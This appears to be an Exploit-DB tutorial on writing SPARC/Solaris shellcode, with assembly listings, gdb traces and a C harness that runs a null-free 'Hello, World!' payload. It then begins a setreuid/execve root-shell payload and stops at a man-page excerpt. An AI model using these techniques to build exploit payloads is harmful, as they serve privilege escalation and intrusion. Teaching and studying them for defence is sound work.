Writing Shellcode on SPARC

EDB-ID:

13218

CVE:

N/A

Author:

lhall

Type:

papers

Platform:

Multiple

Published:

2006-04-08

|=-----------------------=[ Writing Shellcode on SPARC ]=---------------------=|
|=----------------------------------------------------------------------------=|
|=-------------------------=[ lhall@telegenetic.net ]=------------------------=|

--[ Intro

SPARC is an acronym for Scalable Processor ARChitecture. SPARC is a pure big-endian
RISC microprocessor, it has a load and store architecture with 69 basic instruction's,
32bit words and is designed for efficient pipelining. The SPARC microprocessor
was designed in 1985 by SUN Microsystems.

 We start out with a very simple example - another hello world. First we'll do it
in C generate the assembly, take the parts we need and then write the assembly.

entropy@solaris {/export/home/entropy/asm} cat > hello.c << EOF

> main(){
>    write(1, "Hello, World!\n", 14);
>    _exit(0);
> }
> EOF

entropy@solaris {/export/home/entropy/asm} gcc -S hello.c

entropy@solaris {/export/home/entropy/asm} cat hello.s

        .file   "hello.c"
        .section        ".rodata"
        .align 8
.LLC0:
        .asciz  "Hello, World!\n"
        .section        ".text"
        .align 4
        .global main
        .type   main, #function
        .proc   04
main:
        !#PROLOGUE# 0
        save    %sp, -112, %sp
        !#PROLOGUE# 1
        mov     1, %o0
        sethi   %hi(.LLC0), %g1
        or      %g1, %lo(.LLC0), %o1
        mov     14, %o2
        call    write, 0
         nop
        mov     0, %o0
        call    _exit, 0
         nop
        nop
        .size   main, .-main
        .ident  "GCC: (GNU) 3.4.2"

entropy@solaris {/export/home/entropy/asm} gcc -gstabs hello.s -o hello

entropy@solaris {/export/home/entropy/asm} ./hello
Hello, World!

entropy@solaris {/export/home/entropy/asm} gdb hello
GNU gdb 6.2.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.10"...
(gdb) break main
Breakpoint 1 at 0x10664: file hello.s, line 13.
(gdb) disas main
Dump of assembler code for function main:
0x00010660 :    save  %sp, -112, %sp
 Make room on the stack.
0x00010664 :    mov  1, %o0
 Move 1 into %o0 (first argument).
0x00010668 :    sethi  %hi(0x10400), %g1
 Set the high bits of our string in %g1.
0x0001066c :   or  %g1, 0x328, %o1     ! 0x10728 <_lib_version+8>
 Or the low and high bits of the string, attaining the full address
 and store it in %o1. (second argument).
0x00010670 :   mov  0xe, %o2
 Move 14 int %o2 (third argument).
0x00010674 :   call  0x207d8 
 Call write().
0x00010678 :   nop
0x0001067c :   clr  %o0        ! 0x0
 Set %o0 to 0 (first argument).
0x00010680 :   call  0x207a8 <_exit>
 Call _exit().
0x00010684 :   nop
0x00010688 :   nop
0x0001068c :   retl
0x00010690 :   add  %o7, %l7, %l7
End of assembler dump.
(gdb) r
Starting program: /export/home/entropy/asm/hello

Breakpoint 1, main () at hello.s:15
15              mov     1, %o0
Current language:  auto; currently asm
(gdb) s
16              sethi   %hi(.LLC0), %g1
(gdb) p $o0
$1 = 1
(gdb) s
17              or      %g1, %lo(.LLC0), %o1
(gdb) p $g1
$2 = 66560
(gdb) printf "0x%x\n", $g1
0x10400
(gdb) s
18              mov     14, %o2
(gdb)  printf "0x%x\n", $o1
0x10728
(gdb) x/14c 0x10728
0x10728 <_lib_version+8>:       72 'H'  101 'e' 108 'l' 108 'l' 111 'o' 44 ','  32 ' '  87 'W'
0x10730 <_lib_version+16>:      111 'o' 114 'r' 108 'l' 100 'd' 33 '!'  10 '\n'
(gdb) s
19              call    write, 0
(gdb) p $o2
$3 = 14
(gdb) s
20               nop
(gdb) s
0xff33d8fc in _ti_bind_guard () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _ti_bind_guard,
which has no line number information.
0xff33d934 in _ti_bind_clear () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _ti_bind_clear,
which has no line number information.
0xff332158 in write () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function write,
which has no line number information.
0xff33d8fc in _ti_bind_guard () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _ti_bind_guard,
which has no line number information.
0xff33d934 in _ti_bind_clear () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _ti_bind_clear,
which has no line number information.
0xff3407ec in _write () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _write,
which has no line number information.
Hello, World!
0xff3321c0 in write () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function write,
which has no line number information.
main () at hello.s:21
21              mov     0, %o0
(gdb) p $o0
$4 = 14
(gdb) s
22              call    _exit, 0
(gdb) s
23               nop
(gdb) s
0xff33d8fc in _ti_bind_guard () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _ti_bind_guard,
which has no line number information.
0xff33d934 in _ti_bind_clear () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _ti_bind_clear,
which has no line number information.
0xff33fbc8 in _private_exit () from /lib/libc.so.1
(gdb) s
Single stepping until exit from function _private_exit,
which has no line number information.

Program exited normally.
(gdb) q

---[ Assembly

First we need to find out the prototypes for both write and exit and their
syscall numbers.

entropy@solaris {/export/home/entropy/asm} man -s2 _exit

     #include 

     void _exit(int status);

entropy@solaris {/export/home/entropy/asm} man -s2 write

     #include 

     ssize_t write(int fildes, const void *buf, size_t nbyte);

For the syscall numbers we look into the file /usr/include/sys/syscall.h.

entropy@solaris {/export/home/entropy/asm} grep write /usr/include/sys/syscall.h

#define SYS_write       4
#define SYS_writev      122
#define SYS_pwrite              174
         *      aiowrite(...)   :: kaio(AIOWRITE, ...)
#define SYS_pwrite64            223

entropy@solaris {/export/home/entropy/asm}  grep exit /usr/include/sys/syscall.h

#define SYS_exit        1
#define SYS_lwp_exit            160

The final pieces that we need are which registers to put the arguments in and
how do we call the kernel. From [1] we find out that we put the first six
syscall numbers into registers %o0...%o5, put the syscall number into %g1
and that we call ta (trap all) with a value that represents our binary and kernel.

S/W Trap #      Instruction     Description
0x0             ta 0x0          Used for system calls for binaries running in
                                SunOS 4.x binary compatability mode.
0x8             ta 0x8          32-bit (ILP32) binary running on 64-bit
                                (ILP64) kernel
0x40            ta 0x40         64-bit (ILP64) binary running on 64-bit
                                (ILP64) kernel

Its expected that you know a bit of assembly already so the info on directives,
labels and such are going to bit quite light, for a more in depth look at these
(althought this is far from what you need if just starting) check out [2]. The
directives .section are used to separate variable declarations and assembly
language instructions. A variable declaration starts with a label definition
(the name of the variable), followed by a . directive, followed by the
initial value for the variable, eg..


hello:                       <--- label
   .ascii   "Hello, World!\n"
   ^        ^
   .  initial value

A label, a word followed by a colon, is simply a name for an address, using the
above example the label "hello:" is the address of the first character of the
string "Hello, World!\n".

The SPARC integer unit provides thirty-two general purpose registers. Each
integer register holds 32-bits. The integer registers are called %r0 through
%r31. In addition to the names %r0 through %r31, the integer registers have
alternate names:

Int Registers   Alternate Name  Group Name
%r0  - %r7      %g0 - %g7       Global Registers
%r8  - %r15     %o0 - %o7       Output Registers
%r16 - %r23     %l0 - %l7       Local Registers
%r24 - %r31     %i0 - %i7       Input Registers

%sp = %r14 = %o6 = Stack Pointer
%o7 = %r15 = Function return address
%fp = %r30 = %i6 = Frame Pointer

The register %r0 is always 0, if it is used as the destination of an instruction
the result is discarded. Its important to also know that an instruction such as
add %r0, %r1, %r2 can be shown as %r2 = %r0 + %r1, or sub %r0, %r1, %r2 as
%r2 = %r0 - %r1.  The set operation can be used to load a 32-bit signed integer
constant into a register. Every set instruction has two operands: the 32-bit value
followed by the destination register. The .text and .data sections must also be
alligned on pages.

entropy@solaris {/export/home/entropy/asm} cat hello.s
.section .data
hello:
   .ascii "Hello, World!\n"

.section .text
.global _start
_start:

   ! write(1, "Hello, World!\n", 14);

   mov 4, %g1     ! move 4(write() syscall) into %g1
   mov 1, %o0     ! move 1(stdout) into %o0
   set hello, %o1 ! move the address of the string into %o1
   mov 14, %o2    ! move the length of the string into %o2
   ta 0x8         ! call the kernel

   ! _exit(0);

   mov 1, %g1     ! move 1(exit() syscall) into %g1
   mov 0, %o0     ! move 0(return address) into %o0
   ta 0x8         ! call the kernel

entropy@solaris {/export/home/entropy/asm} gas -als hello.s -o hello.o
SPARC GAS  hello.s                      page 1


   1                    .section .data
   2                    hello:
   3 0000 48656C6C         .ascii "Hello, World!\n"
   3      6F2C2057
   3      6F726C64
   3      210A
   4
   5                    .section .text
   6                    .global _start
   7                    _start:
   8
   9                       ! write(1, "Hello, World!\n", 14);
  10
  11 0000 82102004         mov 4, %g1     ! move 4(write() syscall) into %g1
  12 0004 90102001         mov 1, %o0     ! move 1(stdout) into %o0
  13 0008 13000000         set hello, %o1 ! move the address of the string into %o1
  13      92126000
  14 0010 9410200E         mov 14, %o2    ! move the length of the string into %o2
  15 0014 91D02008         ta 0x8         ! call the kernel
  16
  17                       ! _exit(0);
  18
  19 0018 82102001         mov 1, %g1     ! move 1(exit() syscall) into %g1
  20 001c 90102000         mov 0, %o0     ! move 0(return address) into %o0
  21 0020 91D02008         ta 0x8         ! call the kernel
  22

SPARC GAS  hello.s                      page 2


DEFINED SYMBOLS
             hello.s:2      .data:0000000000000000 hello
             hello.s:7      .text:0000000000000000 _start

NO UNDEFINED SYMBOLS

entropy@solaris {/export/home/entropy/asm} ld hello.o -o hello
ld: fatal: relocation error: R_SPARC_HI22: file hello.o: symbol : offset 0xfef40256 
is non-aligned
ld: fatal: relocation error: R_SPARC_LO10: file hello.o: symbol : offset 0xfef4025a 
is non-aligned

The .data section must be aligned so the section can be shared between
multiple users / processes.

entropy@solaris {/export/home/entropy/asm} cat hello.s
.align 4
.section .data
hello:
   .ascii "Hello, World!\n"

.section .text
.global _start
_start:

   ! write(1, "Hello, World!\n", 14);

   mov 4, %g1     ! move 4(write() syscall) into %g1
   mov 1, %o0     ! move 1(stdout) into %o0
   set hello, %o1 ! move the address of the string into %o1
   mov 14, %o2    ! move the length of the string into %o2
   ta 0x8         ! call the kernel

   ! _exit(0);

   mov 1, %g1     ! move 1(exit() syscall) into %g1
   mov 0, %o0     ! move 0(return address) into %o0
   ta 0x8         ! call the kernel

entropy@solaris {/export/home/entropy/asm} gas -als hello.s -o hello.o
SPARC GAS  hello.s                      page 1


   1                    .align 4
   2                    .section .data
   3                    hello:
   4 0000 48656C6C         .ascii "Hello, World!\n"
   4      6F2C2057
   4      6F726C64
   4      210A
   5
   6                    .section .text
   7                    .global _start
   8                    _start:
   9
  10                       ! write(1, "Hello, World!\n", 14);
  11
  12 0000 82102004         mov 4, %g1     ! move 4(write() syscall) into %g1
  13 0004 90102001         mov 1, %o0     ! move 1(stdout) into %o0
  14 0008 13000000         set hello, %o1 ! move the address of the string into %o1
  14      92126000
  15 0010 9410200E         mov 14, %o2    ! move the length of the string into %o2
  16 0014 91D02008         ta 0x8         ! call the kernel
  17
  18                       ! _exit(0);
  19
  20 0018 82102001         mov 1, %g1     ! move 1(exit() syscall) into %g1
  21 001c 90102000         mov 0, %o0     ! move 0(return address) into %o0
  22 0020 91D02008         ta 0x8         ! call the kernel
  23

SPARC GAS  hello.s                      page 2


DEFINED SYMBOLS
             hello.s:3      .data:0000000000000000 hello
             hello.s:8      .text:0000000000000000 _start

NO UNDEFINED SYMBOLS

entropy@solaris {/export/home/entropy/asm} ld hello.o -o hello

entropy@solaris {/export/home/entropy/asm} ./hello
Hello, World!

Works, recompile with debugging symbols.

entropy@solaris {/export/home/entropy/asm} gas -gstabs hello.s -o hello.o

entropy@solaris {/export/home/entropy/asm} ld hello.o -o hello

entropy@solaris {/export/home/entropy/asm} gdb hello
GNU gdb 6.2.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.10"...
(gdb) break *_start
Breakpoint 1 at 0x10250: file hello.s, line 12.
(gdb) disas _start
Dump of assembler code for function _start:
0x00010250 <_start+0>:  mov  4, %g1
0x00010254 <_start+4>:  mov  1, %o0
0x00010258 <_start+8>:  sethi  %hi(0x20000), %o1
0x0001025c <_start+12>: or  %o1, 0x308, %o1     ! 0x20308 
0x00010260 <_start+16>: mov  0xe, %o2
0x00010264 <_start+20>: ta  8
0x00010268 <_start+24>: mov  1, %g1
0x0001026c <_start+28>: clr  %o0
0x00010270 <_start+32>: ta  8
End of assembler dump.
(gdb) r
Starting program: /export/home/entropy/asm/hello

Breakpoint 1, _start () at hello.s:12
12         mov 4, %g1     ! move 4(write() syscall) into %g1
Current language:  auto; currently asm
(gdb) s
13         mov 1, %o0     ! move 1(stdout) into %o0
(gdb) s
14         set hello, %o1 ! move the address of the string into %o1
(gdb) s
15         mov 14, %o2    ! move the length of the string into %o2
(gdb) s
16         ta 0x8         ! call the kernel
(gdb) printf "0x%x\n", $o1
0x20308
(gdb) x/14c 0x20308
0x20308 :        72 'H'  101 'e' 108 'l' 108 'l' 111 'o' 44 ','  32 ' '  87 'W'
0x20310 :      111 'o' 114 'r' 108 'l' 100 'd' 33 '!'  10 '\n'
(gdb) s
Hello, World!
20         mov 1, %g1     ! move 1(exit() syscall) into %g1
(gdb) s
21         mov 0, %o0     ! move 0(return address) into %o0
(gdb) s
22         ta 0x8         ! call the kernel
(gdb) s

Program exited normally.
(gdb) q

Our `set hello, %o1` instruction was broken into

0x00010258 <_start+8>:  sethi  %hi(0x20000), %o1
0x0001025c <_start+12>: or  %o1, 0x308, %o1     ! 0x20308 

which sets the hi bits of the string hello into %o1, then or's the
low bits with the hi bits getting the full address. The sethi instruction sets
the most significant 22 bits of the destination register and clears the
least significant 10 bits of this register.  The %hi operator yields the most
significant 22 bits while %lo operator yields the least significant 10 bits of
a 32-bit value. So we could write our code as:

entropy@solaris {/export/home/entropy/asm} cat hello1.s
.align 4
.section .data
hello:
   .ascii "Hello, World!\n"

.section .text
.global _start
_start:

   ! write(1, "Hello, World!\n", 14);

   mov 4, %g1     ! move 4(write() syscall) into %g1
   mov 1, %o0     ! move 1(stdout) into %o0

   sethi %hi(hello), %o1    ! move the high 22 bits of the string address into %o1
   or  %o1, %lo(hello), %o1 ! or the low 10 bits of the string address

   mov 14, %o2    ! move the length of the string into %o2
   ta 0x8         ! call the kernel

   ! _exit(0);

   mov 1, %g1     ! move 1(exit() syscall) into %g1
   mov 0, %o0     ! move 0(return address) into %o0
   ta 0x8         ! call the kernel

Assemble and link the source.

entropy@solaris {/export/home/entropy/asm} gas -als -gstabs hello1.s -o hello1.o

SPARC GAS  hello1.s                     page 1


   1                    .align 4
   2                    .section .data
   3                    hello:
   4 0000 48656C6C         .ascii "Hello, World!\n"
   4      6F2C2057
   4      6F726C64
   4      210A
   5
   6                    .section .text
   7                    .global _start
   8                    _start:
   9
  10                       ! write(1, "Hello, World!\n", 14);
  11
  12 0000 82102004         mov 4, %g1     ! move 4(write() syscall) into %g1
  13 0004 90102001         mov 1, %o0     ! move 1(stdout) into %o0
  14
  15 0008 13000000         sethi %hi(hello), %o1    ! move the high 22 bits of the string address into %o1
  16 000c 92126000         or  %o1, %lo(hello), %o1 ! or the low 10 bits of the string address
  17
  18 0010 9410200E         mov 14, %o2    ! move the length of the string into %o2
  19 0014 91D02008         ta 0x8         ! call the kernel
  20
  21                       ! _exit(0);
  22
  23 0018 82102001         mov 1, %g1     ! move 1(exit() syscall) into %g1
  24 001c 90102000         mov 0, %o0     ! move 0(return address) into %o0
  25 0020 91D02008         ta 0x8         ! call the kernel
  26

SPARC GAS  hello1.s                     page 2


DEFINED SYMBOLS
            hello1.s:3      .data:0000000000000000 hello
            hello1.s:8      .text:0000000000000000 _start

NO UNDEFINED SYMBOLS
entropy@solaris {/export/home/entropy/asm} ld hello1.o -o hello1
entropy@solaris {/export/home/entropy/asm} ./hello1
Hello, World!
entropy@solaris {/export/home/entropy/asm} gdb hello1
GNU gdb 6.2.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.10"...
(gdb) disas _start
Dump of assembler code for function _start:
0x00010250 <_start+0>:  mov  4, %g1
0x00010254 <_start+4>:  mov  1, %o0
0x00010258 <_start+8>:  sethi  %hi(0x20000), %o1
0x0001025c <_start+12>: or  %o1, 0x308, %o1     ! 0x20308 
0x00010260 <_start+16>: mov  0xe, %o2
0x00010264 <_start+20>: ta  8
0x00010268 <_start+24>: mov  1, %g1
0x0001026c <_start+28>: clr  %o0
0x00010270 <_start+32>: ta  8
End of assembler dump.
(gdb) q

And the last part to do for this is put in some equates to make the code
a bit cleaner.

entropy@solaris {/export/home/entropy/asm} cat hello.s
.align 4
.section .rodata
.equ SYS_WRITE, 4
.equ SYS_EXIT, 1
.equ STDOUT, 1
.equ STRLEN, 14
.equ RETVAL, 0
.equ KERNEL, 0x08

.align 4
.section .data
hello:
   .ascii "Hello, World!\n"

.section .text
.global _start
_start:

   ! write(1, "Hello, World!\n", 14);
   mov SYS_WRITE, %g1 ! move 4(write() syscall) into %g1
   mov STDOUT, %o0    ! move 1(stdout) into %o0
   set hello, %o1     ! move the address of the string into %o1
   mov STRLEN, %o2    ! move the length of the string into %o2
   ta KERNEL          ! call the kernel

   ! _exit(0);
   mov SYS_EXIT, %g1  ! move 1(exit() syscall) into %g1
   mov RETVAL, %o0    ! move 0(return address) into %o0
   ta KERNEL          ! call the kernel

entropy@solaris {/export/home/entropy/asm} gas -als -gstabs hello.s -o hello.o
SPARC GAS  hello.s                      page 1


   1                    .align 4
   2                    .section .rodata
   3                    .equ SYS_WRITE, 4
   4                    .equ SYS_EXIT, 1
   5                    .equ STDOUT, 1
   6                    .equ STRLEN, 14
   7                    .equ RETVAL, 0
   8                    .equ KERNEL, 0x08
   9
  10                    .align 4
  11                    .section .data
  12                    hello:
  13 0000 48656C6C         .ascii "Hello, World!\n"
  13      6F2C2057
  13      6F726C64
  13      210A
  14
  15                    .section .text
  16                    .global _start
  17                    _start:
  18
  19                       ! write(1, "Hello, World!\n", 14);
  20 0000 82102004         mov SYS_WRITE, %g1 ! move 4(write() syscall) into %g1
  21 0004 90102001         mov STDOUT, %o0    ! move 1(stdout) into %o0
  22 0008 13000000         set hello, %o1     ! move the address of the string into %o1
  22      92126000
  23 0010 9410200E         mov STRLEN, %o2    ! move the length of the string into %o2
  24 0014 91D02008         ta KERNEL          ! call the kernel
  25
  26                       ! _exit(0);
  27 0018 82102001         mov SYS_EXIT, %g1  ! move 1(exit() syscall) into %g1
  28 001c 90102000         mov RETVAL, %o0    ! move 0(return address) into %o0
  29 0020 91D02008         ta KERNEL          ! call the kernel
  30

SPARC GAS  hello.s                      page 2


DEFINED SYMBOLS
             hello.s:3      *ABS*:0000000000000004 SYS_WRITE
             hello.s:4      *ABS*:0000000000000001 SYS_EXIT
             hello.s:5      *ABS*:0000000000000001 STDOUT
             hello.s:6      *ABS*:000000000000000e STRLEN
             hello.s:7      *ABS*:0000000000000000 RETVAL
             hello.s:8      *ABS*:0000000000000008 KERNEL
             hello.s:12     .data:0000000000000000 hello
             hello.s:17     .text:0000000000000000 _start

NO UNDEFINED SYMBOLS

entropy@solaris {/export/home/entropy/asm} ld hello.o -o hello

entropy@solaris {/export/home/entropy/asm} ./hello
Hello, World!

entropy@solaris {/export/home/entropy/asm} gdb hello

GNU gdb 6.2.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.10"...
(gdb) disas _start
Dump of assembler code for function _start:
0x00010250 <_start+0>:  mov  4, %g1
0x00010254 <_start+4>:  mov  1, %o0
0x00010258 <_start+8>:  sethi  %hi(0x20000), %o1
0x0001025c <_start+12>: or  %o1, 0x308, %o1     ! 0x20308 
0x00010260 <_start+16>: mov  0xe, %o2
0x00010264 <_start+20>: ta  8
0x00010268 <_start+24>: mov  1, %g1
0x0001026c <_start+28>: clr  %o0
0x00010270 <_start+32>: ta  8
End of assembler dump.
(gdb) q

Ok, not to hard. Lets try to get some shellcode out of it ;).

entropy@solaris {/export/home/entropy/asm} gas -al -gstabs hello.s -o hello.o
SPARC GAS  hello.s                      page 1


   1                    .align 4
   2                    .section .rodata
   3                    .equ SYS_WRITE, 4
   4                    .equ SYS_EXIT, 1
   5                    .equ STDOUT, 1
   6                    .equ STRLEN, 14
   7                    .equ RETVAL, 0
   8                    .equ KERNEL, 0x08
   9
  10                    .align 4
  11                    .section .data
  12                    hello:
  13 0000 48656C6C         .ascii "Hello, World!\n"
  13      6F2C2057
  13      6F726C64
  13      210A
  14
  15                    .section .text
  16                    .global _start
  17                    _start:
  18
  19                       ! write(1, "Hello, World!\n", 14);
  20 0000 82102004         mov SYS_WRITE, %g1 ! move 4(write() syscall) into %g1
  21 0004 90102001         mov STDOUT, %o0    ! move 1(stdout) into %o0
  22 0008 13000000         set hello, %o1     ! move the address of the string into %o1
  22      92126000
  23 0010 9410200E         mov STRLEN, %o2    ! move the length of the string into %o2
  24 0014 91D02008         ta KERNEL          ! call the kernel
  25
  26                       ! _exit(0);
  27 0018 82102001         mov SYS_EXIT, %g1  ! move 1(exit() syscall) into %g1
  28 001c 90102000         mov RETVAL, %o0    ! move 0(return address) into %o0
  29 0020 91D02008         ta KERNEL          ! call the kernel
  30

So line 22 and 28 need the nulls removed before we can get this working. For
line 22 we are going to put the hex equivelent of "Hello, World!\n" into the
local variables (%l0-%l3), which the %sp points to, with sethi/or combos then put
the stack address into %o1 for the address of the string we want to write. For
line 28 we'll just and something and store it in %o0. Remember with sethi, %hi does
the upper 22 bits and %lo does the lower 10 bits? That means if we have the string
"Hello, World!\n" broken into 4 bytes a piece we have:

   48656C6C Hell
   6F2C2057 o, W
   6F726C64 orld
   210A0000 !\n

and broken into

Upper 22 bits   Lower 10 bits
48656C00        6C
6F2C2000        57
6F726C00        64
210A0000        00

For each of these execpt the last (the last's lower are 0's) we then must do:

   sethi %hi(0x<32 bits>), %ln <-- n starts at 0
   or %ln, %lo(0x<32 bits>), %ln

   or

   sethi %hi(0x), %ln <-- n starts at 0
   or %ln, 0x, %ln

which gives us the code:

   sethi %hi(0x48656C6C), %l0
   or %l0, %lo(0x48656C6C), %l0

   sethi %hi(0x6F2C2057), %l1
   or %l1, %lo(0x6F2C2057), %l1

   sethi %hi(0x6F726C64), %l2
   or %l2, %lo(0x6F726C64), %l2

   sethi %hi(0x210A0000), %l3

Now we have the string on the stack how do we get the address into %o0? We can just and
the stack pointer with itself and store the value into %o0.

  and %sp, %sp, %o1 ! and %sp with itself yielding the value of %sp store it in %o1

Finally for the null from instruction mov RETVAL, %o0, we will just xor $o1 with $o1 and
store the result into $o0 to null the return address. For both of these methods there are
alot of other ways to do this - much more efficient ways. With gas use the listing and
check again for any null's.

entropy@solaris {/export/home/entropy/asm} cat hello_nonull.s

.align 4
.section .rodata
.equ SYS_WRITE, 4
.equ SYS_EXIT, 1
.equ STDOUT, 1
.equ STRLEN, 14
.equ RETVAL, 0
.equ KERNEL, 0x08

.align 4
.section .data
hello:
   .ascii "Hello, World!\n"

.section .text
.global _start
_start:

   ! write(1, "Hello, World!\n", 14);
   mov SYS_WRITE, %g1 ! move 4(write() syscall) into %g1
   mov STDOUT, %o0    ! move 1(stdout) into %o0

   sethi %hi(0x48656C6C), %l0
   or %l0, %lo(0x48656C6C), %l0
   sethi %hi(0x6F2C2057), %l1
   or %l1, %lo(0x6F2C2057), %l1
   sethi %hi(0x6F726C64), %l2
   or %l2, %lo(0x6F726C64), %l2
   sethi %hi(0x210A0000), %l3
   and %sp, %sp, %o1  ! and %sp with itself yielding the value of %sp store in %o1

   mov STRLEN, %o2    ! move the length of the string into %o2
   ta KERNEL          ! call the kernel

   ! _exit(0);
   mov SYS_EXIT, %g1  ! move 1(exit() syscall) into %g1
   mov RETVAL, %o0    ! move 0(return address) into %o0
   ta KERNEL          ! call the kernel

entropy@solaris {/export/home/entropy/asm} gas -al hello_nonull.s -o hello_nonull.o
SPARC GAS  hello_nonull.s                       page 1


   1                    .align 4
   2                    .section .rodata
   3                    .equ SYS_WRITE, 4
   4                    .equ SYS_EXIT, 1
   5                    .equ STDOUT, 1
   6                    .equ STRLEN, 14
   7                    .equ RETVAL, 0
   8                    .equ KERNEL, 0x08
   9
  10                    .align 4
  11                    .section .data
  12                    hello:
  13 0000 48656C6C         .ascii "Hello, World!\n"
  13      6F2C2057
  13      6F726C64
  13      210A
  14
  15                    .section .text
  16                    .global _start
  17                    _start:
  18
  19                       ! write(1, "Hello, World!\n", 14);
  20 0000 82102004         mov SYS_WRITE, %g1 ! move 4(write() syscall) into %g1
  21 0004 90102001         mov STDOUT, %o0    ! move 1(stdout) into %o0
  22 0008 2112195B         sethi %hi(0x48656C6C), %l0
  23 000c A014206C         or %l0, %lo(0x48656C6C), %l0
  24 0010 231BCB08         sethi %hi(0x6F2C2057), %l1
  25 0014 A2146057         or %l1, %lo(0x6F2C2057), %l1
  26 0018 251BDC9B         sethi %hi(0x6F726C64), %l2
  27 001c A414A064         or %l2, %lo(0x6F726C64), %l2
  28 0020 27084280         sethi %hi(0x210A0000), %l3
  29 0024 920B800E         and %sp, %sp, %o1  ! and %sp with itself yielding the value of %sp store in %o1
  30 0028 9410200E         mov STRLEN, %o2    ! move the length of the string into %o2
  31 002c 91D02008         ta KERNEL          ! call the kernel
  32
  33                       ! _exit(0);
  34 0030 82102001         mov SYS_EXIT, %g1  ! move 1(exit() syscall) into %g1
  35 0034 90102000         mov RETVAL, %o0    ! move 0(return address) into %o0
  36 0038 91D02008         ta KERNEL          ! call the kernel
  37

entropy@solaris {/export/home/entropy/asm} gas -al hello_nonull.s -o hello_nonull.o

entropy@solaris {/export/home/entropy/asm} ld hello_nonull.o -o hello_nonull

entropy@solaris {/export/home/entropy/asm} ./hello_nonull
Hello, World!

Works, now pull out the machine code put it in a simple test program and try it out.

entropy@solaris {/export/home/entropy/asm} cat exec.c

char shellcode[] =
"\x82\x10\x20\x04"       /*  mov SYS_WRITE, %g1           */
"\x90\x10\x20\x01"       /*  mov STDOUT, %o0              */
"\x21\x12\x19\x5B"       /*  sethi %hi(0x48656C6C), %l0   */
"\xA0\x14\x20\x6C"       /*  or %l0, %lo(0x48656C6C), %l0 */
"\x23\x1B\xCB\x08"       /*  sethi %hi(0x6F2C2057), %l1   */
"\xA2\x14\x60\x57"       /*  or %l1, %lo(0x6F2C2057), %l1 */
"\x25\x1B\xDC\x9B"       /*  sethi %hi(0x6F726C64), %l2   */
"\xA4\x14\xA0\x64"       /*  or %l2, %lo(0x6F726C64), %l2 */
"\x27\x08\x42\x80"       /*  sethi %hi(0x210A0000), %l3   */
"\x92\x0B\x80\x0E"       /*  and %sp, %sp, %o1            */
"\x94\x10\x20\x0E"       /*  mov STRLEN, %o2              */
"\x91\xD0\x20\x08"       /*  ta KERNEL                    */
"\x82\x10\x20\x01"       /*  mov SYS_EXIT, %g1            */
"\x90\x1A\x40\x09"       /*  xor %o1, %o1, %o0            */
"\x91\xD0\x20\x08";      /*  ta KERNEL                    */


int
main (int argc, char **argv)
{
        int (*ret)();              /* ret is a function pointer */
        ret = (int(*)())shellcode; /* ret points to our shellcode */
                                   /* shellcode is type caste as a function */
        (int)(*ret)();             /* execute, as a function, shellcode[] */
        exit(0);                   /* exit() */
}

entropy@solaris {/export/home/entropy/asm} gcc exec.c

entropy@solaris {/export/home/entropy/asm} ./a.out
Hello, World!

Thats fine and all for learning but pretty useless, er totally useless. Lets go through a
setreuid/execve which is easier then the hello world one, then move onto a port binding shell.

Ok so for setreuid/execve we just use the normal code.

entropy@solaris {/export/home/entropy/asm} cat setreuid.c
#include 

int
main(int argc, char **argv)
{
   char *shell[2];
   shell[0] = "/bin/sh";
   shell[1] = (char *)0;
   setreuid(0, 0);
   execve(shell[0], shell,  NULL);
   _exit(0);
}

entropy@solaris {/export/home/entropy/asm} gcc setreuid.c

entropy@solaris {/export/home/entropy/asm} ./a.out

$ exit

For setreuid we need 0 in %o0 and in %o1, we'll just xor these, then the syscall
number in %g1, that ones cake. For execve we need the address of the string in
%o0 the address of the address of the string in %o1 and a null in %o2. We want the stack to
end up looking something like 2f62696e 2f736800 AAAAAAAA 00000000 <- %sp. We have to construct
this on the stack backwards (stack growns down).

1) Put the string '/bin/sh\0' ('/bin/sh\0' = 2f62696e2f7368) into the local
   variables %l0 and %l1. At the point %sp and %l0 points to our string, so start
   building the stack.

2) Store a doubleword starting at %l0 (%sp) into [%sp - 16], the string is two words:
   0x2f62696e, 0x2f736800

3) Subtract 16 (0x0c) from the stack, which is where our string starts and store that address 
   in %o0. We need 16 because we need two words for the string, one word for the address
   of the address and one word for the null.

4) Store the address of the string (%o0) into the address at [%sp - 0x8], into the 
   location of the "A"'s from above.

5) Subtract 8 from the stack ( the A's locations) and store it into %o1 which is
   the address of the address of the string.

At this point the stack then looks like this "2f62696e 2f736800 ADDRADDR SKIPSKIP" <- %sp.

6) Set %o2 to null.

7) Call execve.

Note: You do have to move the values to the stack instead of directly
moving them or moving them forward from %sp, %sp gets destroyed at execv.

entropy@solaris {/export/home/entropy/asm} grep setreuid /usr/include/sys/syscall.h

#define SYS_setreuid            202

entropy@solaris {/export/home/entropy/asm} grep execve /usr/include/sys/syscall.h

#define SYS_execve      59

entropy@solaris {/export/home/entropy/asm} man -s2 setreuid

     #include 

     int setreuid(uid_t ruid, uid_t euid);

entropy@solaris {/export/home/entropy/asm} man -s2 execve

     #include 

     int execl(const char *path, const char *arg0, ...  /*  const
